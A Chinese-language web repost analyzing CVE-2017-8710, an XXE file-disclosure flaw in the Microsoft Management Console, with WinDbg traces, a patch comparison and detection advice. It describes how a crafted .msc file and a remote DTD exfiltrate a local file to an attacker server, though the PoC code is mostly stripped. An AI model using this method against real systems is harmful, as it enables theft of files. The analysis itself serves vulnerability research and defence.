当前位置：

首页 > 软件教程 > Microsoft Windows CVE-2017-8710 XXE Information Disclosure 漏洞分析

Microsoft Windows CVE-2017-8710 XXE Information Disclosure 漏洞分析

作者：SunnyJourney 时间：2025-09-03 来源：互联网浏览：0

简介Microsoft的管理控制台没有正确地处理XML的外部实体引用导致可以信息泄露，下载目标机器的文件CVE编号：CVE-2017-8710影响系统分析环境及工具漏洞复现poc中有两个文件poc.msc和payload.dtd利用流程：受害者打开poc.msc，触发外部实体对象解析，从攻击者服务器下载payload.dtd，再解析payload.dtd，最后以GET的方式发送file的内容到攻击者服务器poc.msc如下：代码语言：javascript代码运行次数：0运行复制%dtd;]>&send;

简介

Microsoft的管理控制台没有正确地处理XML的外部实体引用导致可以信息泄露，下载目标机器的文件

CVE编号： CVE-2017-8710

影响系统分析环境及工具漏洞复现

poc中有两个文件poc.msc和payload.dtd

利用流程：受害者打开poc.msc，触发外部实体对象解析，从攻击者服务器下载payload.dtd，再解析payload.dtd，最后以GET的方式发送file的内容到攻击者服务器

poc.msc如下：

代码语言：javascript代码运行次数：0运行复制

%dtd;]>&send;

payload.dtd如下：

代码语言：javascript代码运行次数：0运行复制

">%all;

将ip和port改为自己设定的值，并在web根目录放置payload.dtd文件即可

服务器使用python搭建一个简易服务器，payload.dtd放在当前目录即可，打开poc.msc即可收到回应（虽然报错，但是执行成功）

Microsoft Windows CVE-2017-8710 XXE Information Disclosure 漏洞分析

而服务器收到的内容正是C:\Windows\msdfmap.ini的内容

漏洞分析

首先定位漏洞程序：打开procexp，之后双击poc.msc文件进行观察，发现启动的是mmc.exe程序

用od运行mmc.exe并附带参数，弹框后暂停程序，进行栈回溯

再向下一点也可以找到打开文件的函数

在这两个打开文件的函数下断点，实际断下来的是CAMCMultiDocTemplate::OpenDocumentFile，

之后慢慢跟，中途会出现程序跑飞了，下次下个断点步入就行，之后跟到了CXMLDocument::ScLoad函数里面，发现调用了msxml3模块里面的函数

由于od看不到符号，改用windbg，可以看到调用了Document::Load

之后调用msxml3!Document::run，就发出了tcp请求

代码语言：javascript代码运行次数：0运行复制

0:000> peax=6b3f51b0 ebx=00000000 ecx=034c3ad0 edx=0006f420 esi=034c3ad0 edi=00000000eip=6b4048c7 esp=0006f3e4 ebp=0006f418 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246msxml3!Document::_load+0x182:6b4048c7 ff5060          call    dword ptr [eax+60h]  ds:0023:6b3f5210={msxml3!Document::run (6b404909)

其实这里已经到达了解析执行xml里面的内容，那么出的问题就是上一层的函数

代码语言：javascript代码运行次数：0运行复制

0:000> kvChildEBP RetAddr  Args to Child              0006f3dc 6b7b48ca af5c2d94 00000000 034f3ad0 msxml3!Document::run (FPO: [Non-Fpo])0006f418 6b7e4ed4 00000000 00000000 00000000 msxml3!Document::_load+0x185 (FPO: [Non-Fpo])0006f460 6b7e4e50 001c3418 af5c2d18 00000000 msxml3!Document::load+0x3b (FPO: [Non-Fpo])*** WARNING: Unable to verify checksum for mmc.exe0006f494 0102e9fd 001cf3ba 001c3418 ac5412c5 msxml3!Document::Load+0x3c (FPO: [Non-Fpo])0006f4f8 0102dd5f 0006f52c 001c3418 00000001 mmc!CXMLDocument::ScLoad+0x109 (FPO: [Non-Fpo])0006f57c 0103e606 0006f5e4 0006f5f8 00830014 mmc!CConsoleFilePersistor::ScLoadXMLDocumentFromFile+0x174 (FPO: [Non-Fpo])0006f668 01059eeb 0006f6b8 0006fbdc 0006f6f5 mmc!CConsoleFilePersistor::ScLoadConsole+0x15d (FPO: [Non-Fpo])0006f704 01022073 0006f724 0006fbdc ac54116d mmc!CAMCDoc::ScOnOpenDocument+0x1ee (FPO: [Non-Fpo])0006f750 010210b8 0006fbdc ac541199 00000004 mmc!CAMCDoc::OnOpenDocument+0x39 (FPO: [Non-Fpo])0006f7a4 697c2d8e 0006fbdc 00000001 0006fe2c mmc!CAMCMultiDocTemplate::OpenDocumentFile+0x244 (FPO: [Non-Fpo])0006fde8 697c1666 00026c38 ac57af04 00e10b58 MFC42u!CDocManager::OpenDocumentFile+0x1ed (FPO: [Non-Fpo])0006fe10 01020429 0006fe2c ac5418dd 010f54b0 MFC42u!CWinApp::ProcessShellCommand+0x8e (FPO: [Non-Fpo])0006fee0 697bf84c 010f561c 00000001 00000000 mmc!CAMCApp::InitInstance+0x5ca (FPO: [Non-Fpo])0006fef4 0100c107 01000000 00000000 00161b22 MFC42u!AfxWinMain+0x4f (FPO: [Non-Fpo])0006ff88 762e1174 7ffdf000 0006ffd4 7757b3f5 mmc!_initterm_e+0x1b1 (FPO: [Non-Fpo])0006ff94 7757b3f5 7ffdf000 775c0baf 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])0006ffd4 7757b3c8 0103fb0e 7ffdf000 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo])0006ffec 00000000 0103fb0e 7ffdf000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])

在ida查看：在mmc!CAMCDoc::ScOnOpenDocument中调用了mmc!CConsoleFilePersistor::ScLoadConsole

之后在ScOnOpenDocument中直接调用了ScLoadXMLDocumentFromFile解析xml文档，对外部实体没有检测

但是我在win10下调试的时候，发现mmc根本就不打开xml文档

下面出于学习的目的，跟着xml的一个解析过程

跟踪对xml外部实体的解析过程

接着就是利用GetNextToken不断循环读取xml文件中的值进行解析

代码语言：javascript代码运行次数：0运行复制

0:000> peax=0006f32c ebx=00000000 ecx=03534a30 edx=00001000 esi=03534880 edi=035348b5eip=6b4016dd esp=0006f308 ebp=0006f3a0 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246msxml3!XMLParser::Run+0x1dd:6b4016dd e89f000000      call    msxml3!XMLStream::GetNextToken (6b401781)0:000> dd esp0006f308  0006f32c 0006f338 0006f33c 0006f3400006f318  b8d8ae62 03533ad0 03533b18 000000000006f328  00000024 00000000 00000000 0006f3d40006f338  00000000 00000000 00000000 000000000006f348  00000000 00000000 00000000 000000040006f358  001bf3b8 00000001 0006f350 000000000006f368  03533ad0 03534914 035348b5 0006f3280006f378  001bf3bb 03534914 00000000 000000000:000> peax=00000000 ebx=00000000 ecx=0006f340 edx=0006f338 esi=03534880 edi=035348b5eip=6b4016e2 esp=0006f318 ebp=0006f3a0 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246msxml3!XMLParser::Run+0x1e2:6b4016e2 8945e0          mov     dword ptr [ebp-20h],eax ss:0023:0006f380=000000000:000> du 03534cbc 03534cbc  "xml version="1.0"?>......%dtd;]>..<"03534dfc  "pwn>&send;.."0:000> dd esp0006f318  b8d8ae62 03533ad0 03533b18 000000000006f328  00000024 00000004 00000000 0006f3d40006f338  03534cbc 00000003 00000000 000000000006f348  00000000 00000000 00000000 000000040006f358  001bf3b8 00000001 0006f350 000000000006f368  03533ad0 03534914 035348b5 0006f3280006f378  001bf3bb 03534914 00000000 000000000006f388  0006f318 0006f3a4 0006f3cc 6b4227190:000> du 03534cbc 03534cbc  "xml version="1.0"?>......%dtd;]>..<"03534dfc  "pwn>&send;.."

之后最终调用的是XMLParser::LoadEntity

之后是XMLParser::PushURL再到URLStream::Open

先检测一下是不是file类型的url（准确点应该是检测file协议的）

URLStream::OpenURL到urlmon!CUrlMon::BindToStorage到urlmon!CUrlMon::StartBinding到urlmon!CBinding::StartBinding再到urlmon!CTransaction::StartEx 到urlmon!COInetProt::StartEx到urlmon!CTransaction::CompleteOperation，最后在CompleteOperation真正发出请求

漏洞修补

通过对比修补后的程序

修改的位置在CXMLDocument::ScCoCreate

在我们之前的堆栈中是看不到这个函数的（下面为未修补的程序的堆栈情况）

代码语言：javascript代码运行次数：0运行复制

0:000> kvChildEBP RetAddr  Args to Child              0006f3dc 6b7b48ca af5c2d94 00000000 034f3ad0 msxml3!Document::run (FPO: [Non-Fpo])0006f418 6b7e4ed4 00000000 00000000 00000000 msxml3!Document::_load+0x185 (FPO: [Non-Fpo])0006f460 6b7e4e50 001c3418 af5c2d18 00000000 msxml3!Document::load+0x3b (FPO: [Non-Fpo])*** WARNING: Unable to verify checksum for mmc.exe0006f494 0102e9fd 001cf3ba 001c3418 ac5412c5 msxml3!Document::Load+0x3c (FPO: [Non-Fpo])0006f4f8 0102dd5f 0006f52c 001c3418 00000001 mmc!CXMLDocument::ScLoad+0x109 (FPO: [Non-Fpo])0006f57c 0103e606 0006f5e4 0006f5f8 00830014 mmc!CConsoleFilePersistor::ScLoadXMLDocumentFromFile+0x174 (FPO: [Non-Fpo])0006f668 01059eeb 0006f6b8 0006fbdc 0006f6f5 mmc!CConsoleFilePersistor::ScLoadConsole+0x15d (FPO: [Non-Fpo])0006f704 01022073 0006f724 0006fbdc ac54116d mmc!CAMCDoc::ScOnOpenDocument+0x1ee (FPO: [Non-Fpo])0006f750 010210b8 0006fbdc ac541199 00000004 mmc!CAMCDoc::OnOpenDocument+0x39 (FPO: [Non-Fpo])0006f7a4 697c2d8e 0006fbdc 00000001 0006fe2c mmc!CAMCMultiDocTemplate::OpenDocumentFile+0x244 (FPO: [Non-Fpo])0006fde8 697c1666 00026c38 ac57af04 00e10b58 MFC42u!CDocManager::OpenDocumentFile+0x1ed (FPO: [Non-Fpo])0006fe10 01020429 0006fe2c ac5418dd 010f54b0 MFC42u!CWinApp::ProcessShellCommand+0x8e (FPO: [Non-Fpo])0006fee0 697bf84c 010f561c 00000001 00000000 mmc!CAMCApp::InitInstance+0x5ca (FPO: [Non-Fpo])0006fef4 0100c107 01000000 00000000 00161b22 MFC42u!AfxWinMain+0x4f (FPO: [Non-Fpo])0006ff88 762e1174 7ffdf000 0006ffd4 7757b3f5 mmc!_initterm_e+0x1b1 (FPO: [Non-Fpo])0006ff94 7757b3f5 7ffdf000 775c0baf 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])0006ffd4 7757b3c8 0103fb0e 7ffdf000 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo])0006ffec 00000000 0103fb0e 7ffdf000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])

我调试修补后的程序，发现ScCoCreate之后就退出mmc了，而没有去调用mmc!CConsoleFilePersistor::ScLoadXMLDocumentFromFile了

代码语言：javascript代码运行次数：0运行复制

0:000> kv............001ff3fc 76ce9fc0 004ead50 00000000 00000001 ole32!ICoCreateInstanceEx+0x403 (FPO: [Non-Fpo]) (CONV: stdcall) [d:\longhorn\com\ole32\com\objact\objact.cxx @ 1339]001ff45c 76ce9f21 004ead50 00000000 00000001 ole32!CComActivator::DoCreateInstance+0xd9 (FPO: [Non-Fpo]) (CONV: stdcall) [d:\longhorn\com\ole32\com\objact\immact.hxx @ 343]001ff480 76ce9eda 004ead50 00000000 00000001 ole32!CoCreateInstanceEx+0x38 (FPO: [Non-Fpo]) (CONV: stdcall) [d:\longhorn\com\ole32\com\objact\actapi.cxx @ 157]001ff4b0 004ead04 004ead50 00000000 00000001 ole32!CoCreateInstance+0x37 (FPO: [Non-Fpo]) (CONV: stdcall) [d:\longhorn\com\ole32\com\objact\actapi.cxx @ 110]001ff570 004f3844 001ff5d0 00000000 496bde43 mmc!CXMLDocument::ScCoCreate+0x95 (FPO: [Non-Fpo])001ff654 0050d327 001ff6a4 001ffbc4 001ff6e1 mmc!CConsoleFilePersistor::ScLoadConsole+0xfe (FPO: [Non-Fpo])001ff6f0 004bfbdc 001ff710 001ffbc4 496bdf2b mmc!CAMCDoc::ScOnOpenDocument+0x1ee (FPO: [Non-Fpo])001ff73c 004bfa69 001ffbc4 496bdf9b 00000004 mmc!CAMCDoc::OnOpenDocument+0x39 (FPO: [Non-Fpo])001ff78c 67d6219b 001ffbc4 00000001 001ffe14 mmc!CAMCMultiDocTemplate::OpenDocumentFile+0x245 (FPO: [Non-Fpo])001ffdd0 67d622df 00026aa0 496a9035 02cfeb50 MFC42u!CDocManager::OpenDocumentFile+0x1ed (FPO: [Non-Fpo])001ffdf8 004bf580 001ffe14 496bd6df 005d2280 MFC42u!CWinApp::ProcessShellCommand+0x8e (FPO: [Non-Fpo])001ffec8 67d5f344 005d24dc 00000001 00000000 mmc!CAMCApp::InitInstance+0x5ca (FPO: [Non-Fpo])001ffedc 004c2e41 00490000 00000000 00341780 MFC42u!AfxWinMain+0x4f (FPO: [Non-Fpo])001fff70 7588d0e9 7ffd7000 001fffbc 770019bb mmc!_initterm_e+0x1b1 (FPO: [Non-Fpo])001fff7c 770019bb 7ffd7000 773e7a98 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])001fffbc 7700198e 004e2ed1 7ffd7000 ffffffff ntdll!__RtlUserThreadStart+0x23 (FPO: [Non-Fpo])001fffd4 00000000 004e2ed1 7ffd7000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])

所以判断是在ScCoCreate里面

可以看到如果不满足条件就直接退出了

而且在ida也明显看到了ProhibitDTD，禁止dtd文件

整个执行路径如下两图

所以微软修补方法是：在ScCoCreate函数里面判断，禁止dtd文件

漏洞检测

直接阻止含ENTITY外部实体声明的msc文件

本文内容来源于互联网，如有侵权请联系删除。

作者最新文章

图几 2026-09-16 17:43

SQL中ROUND函数对0.5的处理机制及强制四舍五入方法 2026-09-15 14:19

JS金额计算怎么避免四舍五入误差 2026-09-14 17:32

韩国8月携号转网数据：Galaxy Z8系列iPhone用户转化率约为Z7系列2倍 2026-09-08 17:02

AE基础教程：如何创建合成并制作关键帧动画 2026-09-04 09:27

软件教程

上一篇： AO3镜像网站2026最新地址查询

下一篇： Photoshop快捷键修改在哪里？PS2020快捷键设置方法

相关文章更多

AE基础教程：如何创建合成并制作关键帧动画

本文指导After Effects新手完成从打开软件到制作简单动画的完整流程。内容涵盖新建合成、导入素材、添加关键帧及预览验证，适用于AE基础学习。读者可依据步骤快速完成首个可播放的动效项目。

2026-09-04 0 SunnyJourney

电影剪辑实战：镜头组织、节奏控制与声音衔接技巧

本文详解电影剪辑核心流程，从素材整理、镜头空间组织到叙事节奏压缩，再到J-cut/L-cut声音衔接技巧。通过粗剪保逻辑、精剪压停顿、反应镜头缓冲及电平统一检查，帮助创作者打造空间清晰、情绪连贯且听感自然的成片。

2026-09-04 0 QuietDream

转场剪辑实战指南：硬切、遮挡与运镜的精准选择与操作技巧

本文详解硬切、遮挡转场和运镜转场的适用场景与操作逻辑。通过对比三种转场的核心区别，提供基于素材条件和叙事目的的判断标准，帮助剪辑师避免滥用特效，掌握自然衔接画面的实战技巧。

2026-09-03 0 RiverSoul

视频剪辑技巧

GitLab新手创建项目并推送第一次提交的操作指南

本文指导GitLab新手完成创建项目并推送第一次提交的最小闭环。涵盖远程项目创建、本地仓库初始化、添加远程地址及执行git push。重点说明HTTPS与SSH认证差异、分支名（master/main）核对及提交验证标准，确保远程仓库真正建立。

2026-09-03 0 RainLight

抖音拍摄剪辑教程：从竖屏运镜到卡点成片

本教程针对抖音竖屏视频制作，涵盖拍摄前构思、稳定运镜、粗剪筛选、音乐卡点及导出检查全流程。重点在于拍摄时预留字幕空间、利用动作节点辅助剪辑，以及通过鼓点对齐画面。适用于新手快速完成第一条完整成片，强调素材质量与节奏自然，避免过度特效与版权风险。

2026-09-03 0 EasyWind

短视频

饭圈舞台照修图：降噪、调色与人物突出技巧

针对饭圈舞台照光线乱、噪点多、背景抢眼的痛点，本文提供“保脸、控光、突出主体”的修图方案。核心步骤包括：利用Lightroom降噪面板处理高ISO颗粒，控制曝光避免高光死白或脸部死黑；通过压低背景色彩、提升人物亮度与对比度来修正舞台灯光导致的肤色偏差；最后通过裁剪去除杂乱元素，确保人物主体清晰且肤色自然。

2026-09-03 0 水悠悠予安

Photoshop安装失败或启动异常：系统要求、安装流程与故障排查指南

本文提供Photoshop完整安装指南，涵盖Windows/macOS系统要求、Creative Cloud客户端部署及常见启动故障排查。通过安装前磁盘与账号检查、安装中网络监控、安装后功能测试三步法，解决安装中断、登录失败及启动卡顿问题，确保软件稳定可用。

2026-09-03 0 小宇宙叶知秋

安装失败系统要求 Adobe

创维电视通过U盘安装第三方软件完整教程：权限设置与故障排查

本文提供创维电视通过U盘安装第三方APK的完整操作指南。核心步骤包括：准备格式化的U盘与正规APK文件，在酷开系统“应用管理”中找到安装入口，临时开启“允许安装未知来源应用”权限，以及安装后的功能测试与权限关闭。适用于解决电视无法识别U盘、提示解析失败或权限受限等问题，确保安装安全且不影响系统稳定。

2026-09-03 0 水悠悠予安

Excel筛选大于指定数值：操作步骤与结果验证

本教程演示如何在Excel中筛选大于指定数值的数据。核心步骤包括：确保数据连续、选中表头、通过“开始→排序和筛选”开启筛选，并在“数字筛选”中选择“大于”输入阈值。筛选仅隐藏不符合条件的行，不删除数据。完成后需逐行验证可见数据是否均大于阈值，并可通过取消筛选恢复全部数据。

2026-09-03 0 EasyWind

Creo零基础入门：新建零件与第一次拉伸建模完整指南

本教程指导Creo初学者完成首个拉伸实体建模。通过新建零件、选择mmns_part_solid模板、定义草绘平面及绘制封闭轮廓，生成三维实体。内容涵盖操作路径、参数设置及常见错误排查，帮助新手建立正确的建模逻辑与单位概念。

2026-09-03 0 BrightSoul

热门文章更多

Yandex中文入口及登录使用全攻略 B站免费入口永久有效网址推荐 51漫画高清入口及最新章节更新 58动漫网入口及永久访问方法 B站免费入口网站高效连接方法蓝海书屋免费小说全本阅读推荐入口高德地图开启海拔显示方法海棠文学入口地址海棠小说追书绿色安全平台稳定入口 QQ网页版登录入口大全 QQ网页版官方登录指南我的世界网页版即点即玩入口推荐

精品专题更多

装机必备

正软商城装机必备专区，精选办公、浏览器、安全防护、影音播放、压缩解压、设计创作和系统工具等电脑常用正版软件，帮助用户快速完成新电脑软件配置。

Windows

正软商城Windows软件专区，汇集适用于Windows电脑的办公、设计、安全防护、影音播放、开发工具和系统优化软件，提供软件介绍、系统要求、正版授权及购买下载服务。

macOS软件

正软商城macOS软件专区，精选适用于Mac电脑的办公、设计、影音、效率、开发和系统工具，提供软件功能介绍、macOS兼容版本、正版授权及购买下载服务。

Mac软件更多

灵活计算器

macOS/iOS/Android

灵活计算器是一款笔记式算数应用，支持实时计算、动态关联和云端同步功能。记录、整理和输出之间的过渡会更自然，适合长期写作、做笔记或持续沉淀个人内容。

赤友清理大师

macOS

赤友清理大师是一款为 Mac 设计的智能清理优化工具，可精准扫描垃圾、大文件、重复文件等，释放磁盘空间。做扫描整理、文字提取和表格转换时，它能把识别后的处理步骤接得更顺，资料录入这类场景会省下不少时间。

极度公式

Windows/macOS/Linux

极度公式是一款跨平台专业LaTeX公式识别编辑软件，支持OCR公式识别和多平台编辑。和使用说明，避免使用，享受完整功能与稳定支持。做扫描整理、文字提取和表格转换时，它能把识别后的处理步骤接得更顺，资料录入这类场景会省下不少时间。

WINDOWS 更多

Windows 10

Windows

Windows 10 是一款微软推出的经典操作系统，拥有硬件兼容性与多任务处理能力。它更偏向把系统状态查看和常用调节动作放在一起，适合需要持续观察和微调设备状态的场景。

极度公式

Windows/macOS/Linux

密码键盘

Windows/macOS/iOS/Android

密码键盘是一款兼具安全性与便捷性的高效密码管理器。日常使用里的持续防护和信息管理会更突出，适合把安全控制放进长期使用流程中的场景。